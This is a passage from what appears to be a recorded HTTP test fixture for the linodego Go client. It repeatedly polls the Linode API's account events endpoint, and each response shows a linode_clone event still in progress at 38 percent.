"/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 27.581677, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 27.717597, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 27.803708, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 27.945454, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 28.014466, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 28.07763, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "562" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 28.141387, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 28.202551, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 28.284806, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 28.360358, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 28.427926, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 28.498933, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 28.569332, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 28.63382, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "562" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 28.705801, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 28.773726, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 28.855926, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": 